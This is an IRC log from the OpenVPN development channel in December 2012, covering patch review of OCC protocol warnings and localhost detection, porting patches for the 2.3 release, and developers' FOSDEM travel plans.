seconds] 10:56 -!- Takamichi [Takamichi@c86-7.i07-22.onvol.net] has quit [Ping timeout: 250 seconds] 10:59 -!- raidz_afk is now known as raidz 11:18 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 11:49 < novaflash> is mattock_ in here at this moment? 12:56 < plaisthos> https://play.google.com/store/apps/details?id=hotspotshield.android.vpn is probably violating GPL as least I cannot find a about in this app 12:56 <@vpnHelper> Title: Hotspot Shield VPN - Android Apps on Google Play (at play.google.com) 13:03 < plaisthos> They even managed to violate the BSD license for the code I own *rollseyes* 13:06 < plaisthos> or perhaps not... 13:20 < plaisthos> not sure the obsfuscated decompiled java has some similiarities but if that was my code they put some work in it to hide the origin 13:26 < jamxNL> but it is open source, so you can do with it whatever you want.. right ? :P 13:35 <@dazo> jamxNL: you wish ;-) 13:36 <@dazo> plaisthos: I would actually try to dig into that ... they don't have to put the sources available for download, but they must provide the source code upon request for the GPL based code 13:36 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:36 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:37 <@dazo> (iirc, the BSD license only requires that the licence with copyright is available in the shipped product) 13:39 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 256 seconds] 13:41 * dazo heads home 13:51 -!- dazo is now known as dazo_afk 14:24 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 264 seconds] 14:28 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has joined #openvpn-devel 14:28 -!- mode/#openvpn-devel [+o raidz] by ChanServ 15:04 < plaisthos> dazo_afk: yeah, since there is not even the GPL copyright notice in their app, go figure about possible BSD license 15:59 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:59 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:07 <+krzee> # grep dev server.conf 16:07 <+krzee> dev-type tap 16:07 <+krzee> dev gra1 16:08 <+krzee> error: Cannot open TUN/TAP dev /dev/gra1: No such file or directory (errno=2) 16:08 <+krzee> in freebsd using 2.3_beta1 16:08 <+krzee> is that known to only work in linux or something? 16:21 <@cron2> yes 16:21 <@cron2> no user-nameable tun/tap devices on *BSD (but you can pick a number, like "dev tap47") 16:22 * krzee steps away from trac 16:22 <+krzee> ;] 16:22 <+krzee> thanks 16:26 <+krzee> tap42: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> metric 0 mtu 1500 20:49 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Ping timeout: 260 seconds] 20:49 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 22:57 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 264 seconds] 23:52 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:52 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:59 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has quit [Quit: mattock_] --- Day changed Tue Dec 04 2012 00:24 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:24 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 01:58 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has quit [Quit: mattock_] 02:30 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:30 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 03:56 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Quit: foo!] 03:57 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 04:16 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Ping timeout: 250 seconds] 04:17 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 06:44 -!- dazo_afk is now known as dazo 07:47 <@cron2> plaisthos: have you been able to take a peek? 09:14 < plaisthos> cron2: no, not yet, sorry :/ 10:24 <@d12fk> mattock_: is there an "official" .zip for the tap-driver used in the windows installer? 10:27 <@d12fk> .. better yet a tarball 10:28 <@mattock_> d12fk: yes, just a sec 10:29 <@mattock_> here: http://build.openvpn.net/downloads/releases/ 10:29 <@vpnHelper> Title: Index of /downloads/releases/ (at build.openvpn.net) 11:46 -!- dazo is now known as dazo_afk 11:58 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has quit [Quit: Leaving.] 12:00 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 12:00 -!- mode/#openvpn-devel [+o raidz] by ChanServ 12:44 < plaisthos> WARNING: 'proto' is used inconsistently, local='proto UDP', remote='proto UDPv6' 12:44 < plaisthos> I /accidently/ already fixed that warning in my dual stack patches (the seperate af/proto pattch) 12:45 < plaisthos> I will prepare a minimal impact patch for 2.3 13:02 < plaisthos> this is actually worse than I thought. OpenVPN will always send TCPv4 or UDPv4 as ascii over the wire 13:22 <+krzee> description in the manpage says: 13:22 <+krzee> " scalability to hundreds or thousands of users" 13:23 <+krzee> isnt that kinda untrue? the single threaded nature has a bottleneck well before thousands of users, at least thats the experience of everyone i have seen who had that many users, we always tell people that after a couple hundred (200ish) they should be implimenting multiple server processes 13:43 < plaisthos> send a the patch the ML 13:43 < plaisthos> I think this patch should be in 2.3 13:45 <@cron2> plaisthos: agreed, that warning has annoyed me as well (but not enough to go fix it, as my users don't read logs and do not send questions) 13:49 <@cron2> actually, including "tcp" or "udp" in OCC is not overly useful - if OCC starts at all, protocols have to match 13:56 < plaisthos> cron2: looked at your patch too 14:00 <@cron2> great :) 14:04 * plaisthos goes looking for a is_localhost(inaddr_t) function 14:04 * cron2 looks at plaisthos' patch and looses a few hairs... 14:05 < plaisthos> preferable portable not required as used in android only (so anything NetBSDy or Linuxy may work) 14:05 <@cron2> plaisthos: #define is_localhost(foo) ( (uint32_t)(foo) == INADDR_LOOPBACK ) 14:05 <@cron2> netinet/in.h 14:08 < plaisthos> cron2: yeah, and ipv6 too, thought that there is now a macro for that but isn't :( 14:08 <@cron2> there is a macro for IPv6, but seems everybody thinks IPv4 is too trivial :-) 14:09 < plaisthos> yeah. But Ipv4 is more complicated than v6 actually 14:09 < plaisthos> because v4 it is a /8 network and not only a IP 14:11 <@cron2> now that is an interesting discussion :-) - I tend to see 127.0.0.1 as "localhost" and everything else is an abomination... - but you're right, modern interpretation seems to be "127.x" 14:11 < plaisthos> mac os x seems to be the same opionion as you 14:11 < plaisthos> ping 127.23 does not work here 14:12 < plaisthos> on Linux it works 14:12 <@cron2> which would make that, depending on host/network byte order, something like "((foo) >> 24) && 0xff == LOOPBACK_NET" 14:12 <@cron2> I've seen 127.0.1.1 used as "local IP address for DNS" on an Ubuntu system recently... 14:13 <+krzee> jeffs-MacBook-Pro:ipod jeff$ sudo ifconfig lo0 alias 127.0.0.23 14:13 <+krzee> PING 127.0.0.23 (127.0.0.23): 56 data bytes 14:13 <+krzee> 64 bytes from 127.0.0.23: icmp_seq=0 ttl=64 time=0.097 ms 14:13 <@cron2> ((foo) && 0xff000000) == (INADDR_LOOPBACK && 0xff000000)) - less run-time ops 14:13 <@cron2> krzee: if you configure it there, you can do anything 14:13 <@cron2> but on linux it pings without configuring 14:13 <+krzee> oic 14:14 <@cron2> Tue Dec 4 21:10:45 2012 WARNING: 'proto' is present in remote config but missing in local config, remote='proto UDPv6' 14:14 <@cron2> meh 14:14 < plaisthos> err? 14:14 < plaisthos> let me check again what I did wrong there 14:14 <@cron2> I thought it might be nicer to just drop the "proto foo" from the occ options string 14:14 <@cron2> because it does not serve any useful purpose 14:15 <@cron2> ... but it will still warn 14:15 <@cron2> (if the protos are wrong, it will just plain not connect, so *if* it connects, no use in checking --proto) 14:17 <@cron2> plaisthos: your patch looks good, as in "it makes the warning go away", but I want to kick out all of proto_remote() 14:18 < plaisthos> cron2: ah okay 14:18 < plaisthos> I am fine with that too 14:18 <@cron2> but it does not work :-9 14:19 < plaisthos> I also don't know how to handle the tun-ipv6 warning 14:20 <@cron2> "not there at occ check time, but pushed, so nicely working later on"? 14:22 <@cron2> (just as a side remark: your editor and the tab stops...) 14:23 < plaisthos> cron2: I only preserved the style that was already there :P 14:23 <@cron2> nah 14:23 < plaisthos> oh no 14:23 <@cron2> :) 14:23 < plaisthos> I fixed it to be spaces only 14:23 <@cron2> which will make dazo happy 14:23 < plaisthos> I first had the first case in tabs and the second in spaces which looked even more wrong 14:31 <@ecrist> sorry about that, raidz 14:31 <@raidz> hehe, no worries ecrist 14:31 <@cron2> this OCC stuff is a weird hack to maneuver around proper option negotiation... 14:31 <@raidz> saw you on live yesterday ecrist, what do you think of bops 2? 14:31 <@raidz> I am kind of dissapointed by the maps 14:31 * cron2 sends ACK-plus-discussion to list 14:33 < plaisthos> someone I will subscribe my university email address to the list only so I don't have to send each mail twice 14:33 <@ecrist> raidz: we are too, tbh. been playing mostly with friends in private matches 14:33 <@ecrist> going online long enough to get annoyed by all the jobless masses 14:34 <@raidz> hahaha 14:34 <@raidz> I just got it a few days ago and was wuite dissapointed 14:34 <@raidz> *quite 14:34 <@raidz> I do have a rapid fire remote though, so its fun messing with people 14:34 <@raidz> having a fully auto sniper rifle etc 14:34 < plaisthos> bops? 14:34 <@raidz> and fal 14:34 <@raidz> yup 14:36 <@raidz> plaisthos: black ops 14:39 < plaisthos> ah the new king of modern military shooters :) 14:41 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 264 seconds] 14:44 < plaisthos> is_localhost: http://pastebin.com/hE3js6NE 14:44 < plaisthos> still not the whole local network but it is ugly enough already 14:59 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:59 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:12 <@cron2> plaisthos: ah, you need something for both AFIs 15:13 <@cron2> "this should do" (and if you want "whole local network", sprinkle a few &0xff00000 over the place...) 15:13 <@cron2> (ah, my code example above is bogus, of course - "&", not "&&") 15:17 < plaisthos> yeah 15:18 < plaisthos> I am fixing the "cannot connect to localhost" bug on Android 15:18 < plaisthos> A real fix would be to check if an IP address is local 15:18 < plaisthos> but that probably involves routing sockets and whatnot 15:22 < plaisthos> .oO(good that I know the socket.c mess good enough to exactly know where to check if this is being a connection to localhost) 15:29 < plaisthos> and now to book traval to fosdem 15:30 <@cron2> ohyeah, that 15:30 < plaisthos> I still need to device I want to want to travel back on sunday or monday 15:37 <@cron2> ditto (I need to find out whether Grandma is around, and if not, get permission from $Family :) ) 15:39 <@cron2> what I did last year was "return fairly early on Sunday afternoon" and that turned out to be not-so-useful as I missed a number of intersting things 15:39 < plaisthos> I am jsut letting the Deutsche Bahn decide when exactly I travel per train 15:39 <@cron2> (it was necessary, family-wise, as Grandma was on vacation somewhere...) 15:40 * cron2 is going to fly (Munich->BRU by train is no fun) 15:40 < plaisthos> cron2: yeah I believe that 15:40 < plaisthos> for me train is 4:44 15:42 < plaisthos> When I want to fly from here I would have to go over Munich 15:44 <@cron2> mmmh, MUC->BRU by train, fastest is 6:50, but that's a single connection - "normal" is 7:00 with 3 changes (ICE, S, THA, R ?!) 15:45 <@cron2> mmmh, mmmh. night train...? *checking* 15:46 <@cron2> nah... night train to cologne, change at 05:43->06:55, no way 15:47 <@cron2> cheapest flight with Lufthansa is 1/3 the price of DB <:-o 15:51 < plaisthos> wow 15:51 < plaisthos> my shortest flight is 5 hours anyway 15:52 <@cron2> 139 EUR or such. If I pin down the flight times to "late afternoon to bru, late evening back" it's at 194 EUR, train comes out at about 300 :-/ (and fight time is 1h20, so even with travel to/back airport, below 4h) 15:52 <@cron2> plaisthos: where are you traveling from? 16:04 < plaisthos> cron2: paderborn 16:04 <@cron2> the most useful flight is via *munich*? Now that's not practical indeed 16:04 < plaisthos> yeah Paderborn has a small airport only 16:06 < plaisthos> I am booking fixed trains on Friday and Monday and pay 76 EUR for that 16:06 <@cron2> wow :) 16:07 < plaisthos> I have not even checked the prices for a flight 16:07 <+krzee> talking fosdem? 16:07 < plaisthos> and going by car is also not an option with these cheap train costs 16:07 < plaisthos> krzee: yes 16:08 * krzee checks the dates 16:08 <+krzee> hmmmm i wonder if i could make it 16:09 <+krzee> feb 2/3 16:18 < plaisthos> cron2: for the tun-ipv6 we can simply omit it, right? 16:18 < plaisthos> there has been no official version with tun-ipv6 in yet, or has 2.2 already tun-ipv6? 16:24 <@cron2> plaisthos: tun-ipv6 is actually fairly old, point-to-point mode has supported IPv6 since 2.0 or so (tun-ipv6 did "put the tun into multiprotocol mode", all the config had to be done by --up scripts) 16:25 < plaisthos> damn 16:25 <@cron2> tun-ipv6 in occ actually makes sense for point-to-point links, where this needs to match to make IPv6 work 16:26 <@cron2> (can't remember Linux, but the BSDs need to be told "hey, your tun if is multiprotocol!") 16:26 < plaisthos> Linux does too iirc 16:27 <@cron2> need to go to bed (should have done so 1h ago :( ) - see ya tomorrow 16:27 < plaisthos> good night 16:31 <+krzee> just of curiosity, is there an option to tell openvpn to only have ipv4? i noticed 2.3 my tun interfaces assign themselves ipv6 addresses 21:08 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] --- Day changed Wed Dec 05 2012 00:58 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:58 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:04 <@cron2> krzee: that's the fe80:: stuff that you always get as soon as IPv6 is on globally 02:23 <+krzee> could swear i only get it when using 2.3 02:24 <+krzee> but ya its the self-assigned fe80:: 03:16 <@mattock_> cron2: I'm thinking of returning from FOSDEM on Monday myself 04:05 <@mattock_> the Sunday was badly interrupted last year 04:28 -!- dazo_afk is now known as dazo 04:41 <@cron2> mattock_: I'm currently looking at a 21:20 flight back to MUC (22:40 MUC) - "more practical for sunday" :) 04:42 <@dazo> Any specific hotel you guys look at? 04:42 <@cron2> dazo: I hope to be able to stay with my friend again, but haven't checked yet 04:42 * dazo found the hotel andj reasonable in price 04:43 <@dazo> I'll try to book it today 04:44 <@dazo> hotel and flights for roughly €350 ... that's not so bad at all 04:44 <@cron2> isn't hotel andj in .nl? 04:44 <@dazo> heh 04:44 <@dazo> hotel andj suggested ;-) 04:44 <@dazo> nitpicker! 04:44 <@dazo> :-P 04:45 <@cron2> dazo: that's a habit you get into after reviewing too many of these patches 04:45 <@dazo> heh ... true :) 05:10 <@cron2> dazo: any ideas about the "proto foo" occ warnings? 05:10 <@dazo> cron2: I've seen the patch, it's annoyed me too ... and it seems reasonable, to provide backwards compat .... but checking the proto is moot and stupid 05:11 <@dazo> it *has 05:12 <@d12fk> what hotel are you staying in? 05:12 <@d12fk> the last one had too bad breakfast for me to book again 05:13 <@cron2> d12fk: and you're sure it was not your hangover that spoiled the breakfast? ;-) 05:14 <@d12fk> nah, i was so full of painkillers, no chance i was hung over =) 05:14 <@dazo> d12fk: I'm considering to take andj recommendation ... after all he takes the same one as he had last year ... NH hotel Aarenberg 05:14 <@dazo> "Nice and close to a direct bus, and the central station" was his words :) 05:15 <@d12fk> "Free WiFi", nerds =) 05:15 <@cron2> but most likely "no IPv6" there... :-) 05:16 <@dazo> cron2: that's why I use OpenVPN ;-) 05:17 <@d12fk> oh it's just a walk away from where we stayed last year 05:17 * d12fk like to be as central as that 05:19 <@d12fk> i'll pledge for budget right away =) 05:19 <@dazo> :) 05:23 <@mattock_> d12fk: the last one had a really crappy wifi 05:23 <@mattock_> pure crap 05:23 <@mattock_> I'm considering another hotel, too 05:29 <@d12fk> mattock_: you were just in a too high floor, mine worked like a charm in 1st =) 05:36 <@d12fk> "Letzte Buchung erfolgte vor mehr als 3 Tagen aus Norwegen." i know who that was =) 05:44 <@dazo> ehm ... nope, not me :) 05:45 <@dazo> Still waits for an offer from the travel partner we are required to check with at RH :/ 05:51 <@mattock_> d12fk: ah, ok 06:13 <@d12fk> hm 21.- for breakfast @arenberg, it better be good =) 06:20 <@cron2> oh. from the times, Lufthansa and Brussels Airlines are sharing the flight. 194 EUR LH, 329 EUR Brussels Airlines. 07:15 < plaisthos> d12fk: per day? 07:17 <@d12fk> plaisthos: yes 07:18 <@d12fk> at least i havnt found any offer that includes bf 09:08 <@vpnHelper> RSS Update - tickets: #242: I couldn't access a webpage even the vpn gets connected successfully. <https://community.openvpn.net/openvpn/ticket/242> 10:11 <@cron2> bah, users 10:12 <@cron2> "here's a screen shot from the gui and from a web browser, so you can see it does not work!" 10:12 <@cron2> (no log, of course) 10:14 < plaisthos> :) 10:15 < plaisthos> cron2: reply with a screenshot of your vpn icon and your browser and say "works for me!" 10:21 * cron2 is too nice to users... but I really should do that, and close the bug with "worksforme" 10:37 <@ecrist> lol 10:38 < plaisthos> and OpenVPN has no review site where you can give 1 star reviews ;) 10:38 < plaisthos> so I don't have to fear the 1star review army :D 14:26 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 14:42 -!- dazo is now known as dazo_afk 15:02 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 260 seconds] 15:10 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 15:10 -!- mode/#openvpn-devel [+o raidz] by ChanServ 15:13 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:13 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:23 <@cron2> meeting tomorrowß 15:23 <@cron2> ? 16:25 * novaflash pokes cron2 16:25 < novaflash> i dunno 16:26 < novaflash> but i'll be here, i guess 16:26 < novaflash> not that i have anything useful to contribute, really 17:04 <@raidz> yep, meeting tomorrow 17:46 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....] 17:53 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 17:54 -!- mode/#openvpn-devel [+o raidz] by ChanServ 21:39 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] 23:48 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 255 seconds] 23:53 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 23:53 -!- mode/#openvpn-devel [+o raidz] by ChanServ 23:59 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:59 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Thu Dec 06 2012 00:02 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 264 seconds] 00:14 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 00:14 -!- mode/#openvpn-devel [+o raidz] by ChanServ 00:39 <@andj> dazo: hope the hotel works out, it's simple and businesslike, but it works location-wise :) 02:39 <@mattock_> cron2: we might have a "teach James to use Git and 2.3" kind of meeting 02:40 <@mattock_> but you never know if he shows up 02:40 <@mattock_> if we have something else in the queue we could setup an official meeting 02:41 <@cron2> I don't have anything that needs a full meeting... 02:42 * cron2 needs to poke dazo to merge+push patch queue :-) 02:45 <@mattock_> will plaisthos' patches (10?) go to rc2? 02:48 <@cron2> no, most of that is 2.4 material - 01/10 can go into rc2 (dead code removal), and potentially 06/10 (didn't fully review that yet) 02:48 <@mattock_> ok 02:48 <@mattock_> kernel update -> reboot 02:49 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 02:52 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:52 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 03:57 -!- dazo_afk is now known as dazo 04:28 -!- keitsi [keitsi@shell.jkry.org] has quit [Quit: ZNC - http://znc.in] 06:07 < plaisthos> *sigh* the feature that tls-auth does a hmac key of a file if it is in the wrong format 06:16 < plaisthos> dazo: your email confuses me 06:17 <@dazo> plaisthos: which mail? the Android guy? 06:18 < plaisthos> yeah. I am replying but I think system in my client is useless anyway ;) 06:19 <@dazo> I pulled you in, as you know more about the inner workings of Android than me :) 06:22 < plaisthos> dazo: I suspect he is using OpenVPN settings 06:23 <@dazo> ahh, might be 06:40 < plaisthos> the up/down/whatever scripts were broken in all version until the last version and almost nobody noticed 07:36 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 08:18 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 08:18 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:21 -!- dazo is now known as dazo_afk 11:00 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 248 seconds] 11:07 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:07 -!- mode/#openvpn-devel [+o raidz] by ChanServ 11:16 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....] 11:37 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 255 seconds] 11:52 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:52 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 12:00 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 12:00 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:01 <@mattock_> hi james! 12:02 <@jamesyonan> hi! 12:03 <@mattock_> we don't have a specific agenda today, except "help James to migrate to Git/OpenVPN 2.3" :) 12:03 <@mattock_> have you done any experimenting with Git and/or 2.3 yet? 12:04 <@mattock_> oh, and the new buildsystem also 12:06 <@jamesyonan> we're looking now at putting 2.3 in the Access Server to get (among other things) the IPv6 functionality 12:07 <@mattock_> yeah, that makes perfect sense 12:07 <@mattock_> do you need to build openvpn 2.3 yourself at some point? 12:07 <@mattock_> for Windows, that is 12:08 <@mattock_> on *NIX the build process has not changed much afaik 12:16 <@mattock_> some options in openvpn 2.1.x are no longer available in 2.3, or have changed names 12:23 <@cron2> what features (besides snappy) does openvpn-2.1.x-in-AS have that we do not have in 2.3? 12:25 <@mattock_> cron2: there are maybe ~5 patches missing from 2.3 (due to merge conflicts) 12:25 <@mattock_> snappy was the single big one 12:26 <@mattock_> [PATCH] Added remote-override option. 12:27 <@mattock_> [PATCH] Added support for the Snappy compression algorithm which 12:27 <@mattock_> [PATCH] Minor fixes to compression code introduced in previous commit 12:27 <@mattock_> [PATCH] Minor fix to process_ipv4_header so that any combination of options 12:27 <@mattock_> [PATCH] On the client, allow certain peer info fields to be pushed even if 12:27 <@mattock_> that's all 12:32 <@cron2> "fix to process_ipv4_header" might be something we might want for 2.3? (except that it's process_ip_header() if dazo merges my patch :-) ) 12:36 <@mattock_> maybe yes 12:36 <@mattock_> and also, if snappy is entirely optional and not on by default, perhaps that could go in? 12:36 <@mattock_> jamesyonan: have you managed to port the above patches to 2.3? 12:38 <@cron2> I'm a bit wary about snappy, not knowing how much code that affects - but it's touching central packet flow, so should have *lots* of testing. Maybe fork 2.4 RSN and integrate snappy there. 12:40 <@mattock_> the majority of the code is in snappy.c, but other files were obviously affected, too 12:40 <@mattock_> it's a big chunk 12:40 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 12:40 -!- mode/#openvpn-devel [+o raidz] by ChanServ 12:41 <@raidz> stupid znc, thought I was in here the whole time, no wonder its been so quiet :-p 12:41 -!- raidz [~raidz@openvpn/corp/admin/andrew] has left #openvpn-devel [] 12:41 <@cron2> and bang, gone again 12:43 <@mattock_> raidz: same happened to me last week 12:43 <@mattock_> I was already mailing James "where are you" :D 12:43 <@mattock_> empathy caused an "epic fail" for me 12:43 <@cron2> 19:41 -!- raidz [~raidz@openvpn/corp/admin/andrew] has left #openvpn-devel [] 12:43 <@cron2> you're talking to thin air 12:44 <@mattock_> wouldn't be the first time :D 12:44 <@mattock_> raidz ran the AS test suite on 2.3... would be interesting to hear the results 12:44 <@mattock_> afaik no major issues 12:46 <@mattock_> there was actually an issue on Windows 8, but it turned out to be a MS problem which they fixed 12:48 <@jamesyonan> I'm back 12:48 <@mattock_> hi 12:48 <@mattock_> a couple ofquestions from above 12:48 <@mattock_> have you ported the missing SVN patches to OpenVPN 2.3? 12:48 <@jamesyonan> sorry, watching my son at the same time 12:49 <@mattock_> no problem :) 12:49 <@jamesyonan> no, not yet 12:49 <@mattock_> I suppose porting is fairly trivial 12:50 <@mattock_> mostly about files having changed too much, so manual merge is necessary 12:50 <@mattock_> cron2 wanted to know about snappy... will it affect code paths that are in use on non-snappy-enabled systems? 12:51 <@jamesyonan> there's a handshake of sorts where the client can tell the server which comp algs are available 12:52 <@jamesyonan> this capability pre-dates the addition of snappy 12:52 <@jamesyonan> so with snappy, we're just having the client send a special string to the server during the handshake that says that it supports snappy 12:52 <@jamesyonan> then the server can push back whatever compression alg it wants to use based on what it knows the client capabilities are 12:54 <@mattock_> if we want the missing patches (maybe snappy excluded) to go into 2.3.0, they should be ported fairly soon 12:54 <@mattock_> 2.3-rc2 is "almost ready" 12:54 <@mattock_> dazo wants to include a few more patches 12:54 <@mattock_> I believe the plan is to release 2.3.0 after rc2 12:54 <@cron2> yep 12:56 <@mattock_> jamesyonan: can you do the porting by next monday? 12:56 <@mattock_> cron2: any clue what's still missing from 2.3-rc2? 12:57 <@jamesyonan> unlikely 12:57 <@mattock_> when then? :) 12:57 <@cron2> mssfix, plaisthos' cleanup patch, not sure wht else dazo has in mind 12:58 <@jamesyonan> I don't have an ETA on that yet, but there's no need to hold up 2.3 for it 12:59 <@mattock_> ok, sounds reasonable 12:59 <@mattock_> none of the stuff is really critical for 2.3 13:00 <@mattock_> cron2 mentioned that the "Minor fix to process_ipv4_header so that any combination of options" patch will need some refactoring due to changed function name 13:00 <@mattock_> cron2: process_ip_header is the function name? 13:02 <@cron2> yes, as it does IPv6 now as well (that's the mssfix IPv6 extention patch that is not yet in - it's on the list) 13:19 <@cron2> 13:19 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 13:21 <@cron2> this was not the most talkative evening :-) 13:26 <@mattock_> yep 13:26 <@mattock_> :D 13:27 <@mattock_> I had a hunch it'd be quite quiet... hence no official agenda or anything 13:32 <@cron2> where is dazo anyway? 13:36 <@mattock_> I wonder... 13:41 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 13:41 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:47 <@ecrist> good afternoon, jamesyonan 14:49 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 15:02 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 15:02 -!- mode/#openvpn-devel [+o raidz] by ChanServ 15:21 -!- ngharo [~ngharo@shepard.sypherz.com] has joined #openvpn-devel 15:49 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:49 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:41 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 20:27 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 23:49 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] --- Day changed Fri Dec 07 2012 02:33 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:33 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 05:14 -!- dazo_afk is now known as dazo 06:57 < plaisthos> on the list of obscure feature someone might need 06:57 < plaisthos> adding a route after the VPN has been connected 06:58 < plaisthos> does this make sense for non Android platforms? 07:00 * cron2 does this every now and then... but that's because I never want to use our corp vpn the way it's meant, so I run it with --route-nopull and install the routes I need by hand 07:03 < plaisthos> cron2: :) 08:55 <@mattock_> replacement for community.openvpn.net has arrived 08:56 <@mattock_> trac running, still needs minor fixes and testing 08:56 <@mattock_> trac upgraded to 0.12 08:56 <@mattock_> not in production yet 09:17 <@ecrist> replacement? 09:25 <@mattock_> ecrist: current one is running an EOL OS 09:25 <@mattock_> and on-the-fly upgrade might not work well 09:26 <@ecrist> LINUX, eh? 09:26 <@ecrist> shoulda put bsd on there. 09:26 <@ecrist> ;) 09:26 <@mattock_> obviously :D 09:27 <@ecrist> speaking of. 09:27 * ecrist works on forum server upgrade 09:33 <@dazo> mattock_: or ... installed a *enterprise* Linux distro ;-) 09:50 < plaisthos> dazo: then you have EOL OS which can keep longer with a good feeling :) 09:50 <@dazo> plaisthos: the point is with EOL OS ... is that you should have changed responsibility long before the EOL ;-) 10:03 < plaisthos> dazo: I meant that with the enterprise linux distribution 10:03 < plaisthos> where have the EOL but still security support 10:03 < plaisthos> extended lifetime support or whatever SuSE and RedHat call it 10:03 <@dazo> ahh, true ... well, at least to some degree that's true 10:03 <@dazo> yeah 10:04 <@dazo> but CentOS or ScientificLinux are also that kind of OS ... so you'll get some updates, but they usually don't do too much about the ELS though 10:05 < plaisthos> yeah 10:06 < plaisthos> from the non commercial^W no cost for distribution ones Ubuntu has the longest support iirc 10:08 <@dazo> the non-enterprise, yes .... RHEL6/CentOS6/SL6 are supported until November 2020 10:09 <@dazo> (RHEL5 until March 2017) 10:15 <@ecrist> aww 10:15 <@ecrist> root@forums:~-> uname -a 10:15 <@ecrist> FreeBSD forums.openvpn.net 8.1-RELEASE FreeBSD 8.1-RELEASE #0: Mon Jul 19 02:36:49 UTC 2010 root@mason.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64 10:15 <@ecrist> root@forums:~-> uptime 10:15 <@ecrist> 10:15AM up 694 days, 1:09, 1 user, load averages: 0.50, 0.30, 0.25 10:15 < plaisthos> speaking of EOL 10:15 < plaisthos> ;) 10:16 <@dazo> heh 10:19 <@ecrist> ruh roh 10:19 <@ecrist> I think I managed to lock myself out of that box 10:20 <@ecrist> nope 10:21 <@ecrist> ecrist@forums:~-> uname -a 10:21 <@ecrist> FreeBSD forums.openvpn.net 